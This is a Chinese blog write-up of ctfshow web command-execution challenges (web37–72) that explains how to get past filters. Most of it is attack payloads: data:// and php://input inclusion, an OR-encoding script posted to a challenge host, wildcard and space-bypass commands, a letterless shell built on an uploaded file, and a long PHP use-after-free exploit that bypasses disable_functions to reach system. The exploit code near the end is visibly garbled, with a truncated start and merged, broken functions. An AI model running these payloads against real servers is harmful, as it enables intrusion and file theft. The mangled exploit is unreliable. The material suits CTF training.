ctfshow-web入门-part2

今天我们做的是ctfshow中web入门的命令执行板块,也是学到了很多东西。
当然也是被一些题给干不会了,早晚做完!!!

WP

web37

首先查看源码

发现了include函数,但是把flag过滤了,那我们就没法直接用filter协议了

所以我们可以使用php://input或者是data协议

第一种使用php://input

构造payload:

?c=php://input

我们使用Bp进行post传参

这样我们就得到了flag

第二种方法:使用data协议

构造payload:

?c=data://text/plain,

或者进行加密之后传入

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

web38

首先我们查看源码,发现和上一题比较过滤了php,那么我们使用data协议即可(加密后的)

web39

首先我们查看源码,发现是在我们传入的命令后面给拼接上php

那么我们还是传入

?c=data://text/plain,

即可得到flag

web40

首先查看源码

发现这次过滤了很多东西,我们前面使用的那些都没法使用了

注意这里过滤的是中文的括号

先说一个打印当初路径下文件的函数:print_r(scandir(‘.’))

但是这里已经把单引号和小数点都过滤了

那我们就只能再找别的东西了,最好是一个函数。

localeconv() 返回一包含本地数字及货币格式信息的数组

那么接下来要做的就是想办法构造print_r(scandir(localeconv()[0]))

但是这个函数不能这样用,而且题目也把方括号给过滤了,所以我们要找能有类似功能的

有这样的三个函数

current() 函数返回数组中的当前元素(单元),默认取第一个值, pos() 同 current() ,是current()的别名 reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

那么我们就能打印当前的目录了

我们构造payload:

print_r(scandir(current(localeconv())));

这样我们就得到了当前的目录

我们就可以继续往下推进了

我们这里可以用的是

highlight_file函数和next()

next():

输出数组中的当前元素的下一个元素的值,也就是输入第二个

(end可以输出最后一个)

但是这个题目中flag在第三个我们该怎么办呢

我们可以用array_reverse函数(这个函数就是将数组转置)

那么我们最终构造的payload:

/?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

这样我们就得到了flag

web41

我们首先来看源码

发现貌似把所有的东西都给过滤了

这种全过滤,反倒只有一种解法就是构造字符串

& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符

从网上抄的的大佬的脚本

import re
import requests

url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="ls"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

这样我们就得到了flag

web42

首先我们查看源码

主要是这条代码:

system($c.” >/dev/null 2>&1”);

>/dev/null 2>&1主要意思是不进行回显的意思

可以参考Shell脚本———— /dev/null 2>&1详解

我们要让命令回显,那么进行命令分割即可

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

那么我们就可以构造payload:

?c=tac flag.php;
?c=tac flag.php||

web43

首先我们查看源码

跟上一题相比,过滤了分号和cat那么我们就是用||和tac即可

?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||

都可以进行绕过

web44

首先我们查看源码

过滤了flag,那么我们使用 tac f*||即可

通配符绕过

?c=more ????.???||
?c=more fla*.php||
?c=more fl\ag.php||
?c=more fl’’ag.php||

web45

这一题就是多过滤了一个空格

空格绕过

< <>重定向符%09(需要php环境) ${IFS} $IFS$9 {cat,flag.php}//用逗号实现了空格功能%20 %09

web46

增加了$和*

我们使用%09不算数字

web47

我们接着看,新增了more less head sort tail

对我们没什么影响

?c=tac%09fl””ag.php||

web48

新增了sed cut awk strings od curl 反引号

对我们还是没影响

我们继续用上一题的payload

web49

还是没什么影响 %09不算%

web50

这道题真的是把%09给过滤了

那么我们使用<>这个来过滤

构造payload:

?c=tac<>fl””ag.php||

web51

这一道题把tac给过滤了(天塌了)

还剩个nl没过滤只能用这个了

?c=nl<>fl””g.php||

出来个1,我们摁一下F12就能看到了

web52

这次新增了<>这两个符号(真令人头大)

但是$这个符号可以用了那么我们就使用${IFS}来绕过空格过滤

?c=nl${IFS}fl\ag.php||

直接输入没得到flag,那么我们用ls来扫一目录吧

?c=ls${IFS}/||

得到根目录,看到了flag

那么就应该是这个了

?c=nl${IFS}/fl\ag||

web53

这道题之前伴随我们的>/dev/null 2>&1没有了

$IFS符号如果是在当前目录读文件则中间要用’’来分隔一下
如果读其他路径下的如根目录 / 下的文件 则不用使用符分割
$IFS后边可以使用符号 但是不能直接跟字符 会显示无效命令
可构造playload:

/?c=nl${IFS}fl\ag.php

web54

新增了nl也给过滤了,真天塌了

我只能从网上查查看看还有什么能用

grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

构造payload:

?c=uniq${IFS}????.???
?c=grep${IFS}’{‘${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)

web55

这次更是重量级把英文字母都给过滤了

那么我们就只能找到有数字的命令,再搭配通配符匹配命令进行绕过了

想想/bin目录下的命令

cat、cp、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64

那么我们就构造payload:

?c=/???/????64 ????.???
//意思是/bin/base64 flag.php

再看大佬们的方法

1.bzip2方法

bzip2是linux下面的压缩文件的命令关于bzip2命令的具体介绍
/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

payload:

?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php

然后访问/flag.php.bz2进行下载获得flag.php

  1. 无字母数字webshell之提高篇
    .(点)的用法,就是相当于source 可以执行sh命令linux下的.使用

在这个之前我们需要构造一个post上传文件的数据包。

< !DOCTYPE html>
< html lang=”en”>
< head>
< meta charset=”UTF-8”>
< meta name=”viewport” content=”width=device-width, initial-scale=1.0”>
< title>POST数据包POC
< /head>
< body>
< form action=”http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/“ method=”post” enctype=”multipart/form-data”>
< !–链接是当前打开的题目链接–>
< label for=”file”>文件名:
< input type=”file” name=”file” id=”file”>

< input type=”submit” name=”submit” value=”提交”>
< /form>
< /body>
< /html>

然后抓包
构造poc执行命令

?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
然后在上传文件内容添加sh命令

#!/bin/sh
ls

或者直接运行下面的脚本即可得到flag:

import requests

while True:
    url = "http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") > 0:
        print(r.text)
        break

web56

这次把数字也给过滤了

用上边的无数字字母getshell方法

web58-65

查看源码

主要是过滤各种函数

构造payload:(要用post传参)

c=show_source(‘flag.php’);
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web66

show_source函数被禁用了

用print_r(scandir(‘/‘));查看根目录之后,看到了flag.txt

再用c=highlight_file(‘/flag.txt’);得到了flag

web67

print_r函数也被禁用了 我们可以使用var_dump()函数代替

web68

highlight_file函数被禁用了,看不到源码了

但是这道题没有禁用include()函数,可以利用文件包含漏洞读取flag.txt

c=var_dump(scandir(‘/‘));
c=include(‘/flag.txt’);

web69-70

把var_dump函数给ban了,那么我们就用var_export()函数

c=var_export(scandir(‘/‘));
c=include(‘/flag.txt’);

web71

附件给了我们源码

$s = ob_get_contents();//得到缓冲区的数据。

ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容

并且用?代替数字和字母

那么我们可以用exit()或者die()提前结束,这样就不会替换了

构造payload:

c=var_export(scandir(‘/‘));exit();
c=include(“/flag.txt”);die();

web72

这道题存在open_basedir(open_basedir 是 PHP 中的一个重要安全配置指令,用于 限制 PHP 脚本可以访问的文件系统路径,防止恶意脚本越权访问服务器上的敏感文件(如 /etc/passwd、其他用户的网站数据等)。)

利用glob伪协议在筛选目录时不受open_basedir制约(glob:// 是 PHP 提供的一个 伪协议(Wrapper),用于 匹配文件路径模式(类似 Shell 中的通配符 *),常用于 目录遍历 和 文件查找。它在 CTF 和安全测试中经常被用来绕过 open_basedir 限制。)

语法:glob://<模式>

构造:
c=
$a=new DirectoryIterator(“glob:///*”);
foreach($a as $f){
echo $f.” “ ;
}

exit();

知道了文件时/flag0.txt,就要想办法绕过open_basedir和disable_functions来读了

大佬的exp:

c=?>a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8; $address |="ord($str[$p+$j]);" } return $address; function ptr2str($ptr, $m="8)" { $out ; for ($i="0;" $i < $m; $i++) .="sprintf('%c',$ptr" & 0xff); $ptr>>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();
}

记得url编码之后再上传

总结

这个暂时还未完结啊,剩下的几道题目,我不会(理直气壮),大佬们的wp也还没看懂,过几天我慢慢学习一下,再把他完结掉!!!我肯定会来把这个模块给完结掉的,绝对不会鸽!!!

在这里先做一个小总结

几种常见的过滤的姿势

cat的过滤姿势

more
sort
less
tac
tail
nl
strings

空格的绕过姿势

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

flag的绕过姿势

通配符绕过

?c=more ????.???
?c=more fla*.php
?c=more fl\ag.php
?c=more fl’’ag.php

突破函数禁用

这里我知道的也不多,就总结一下这个模块出现的一些把

一.
show_source()
print_r()
var_dump()
var_export()

二.
highlight_file()
include()


ctfshow-web入门-part2
https://sakula33.github.io/2025/03/30/ctfshow-web入门-part2/
作者
sakula33
发布于
2025年3月30日
许可协议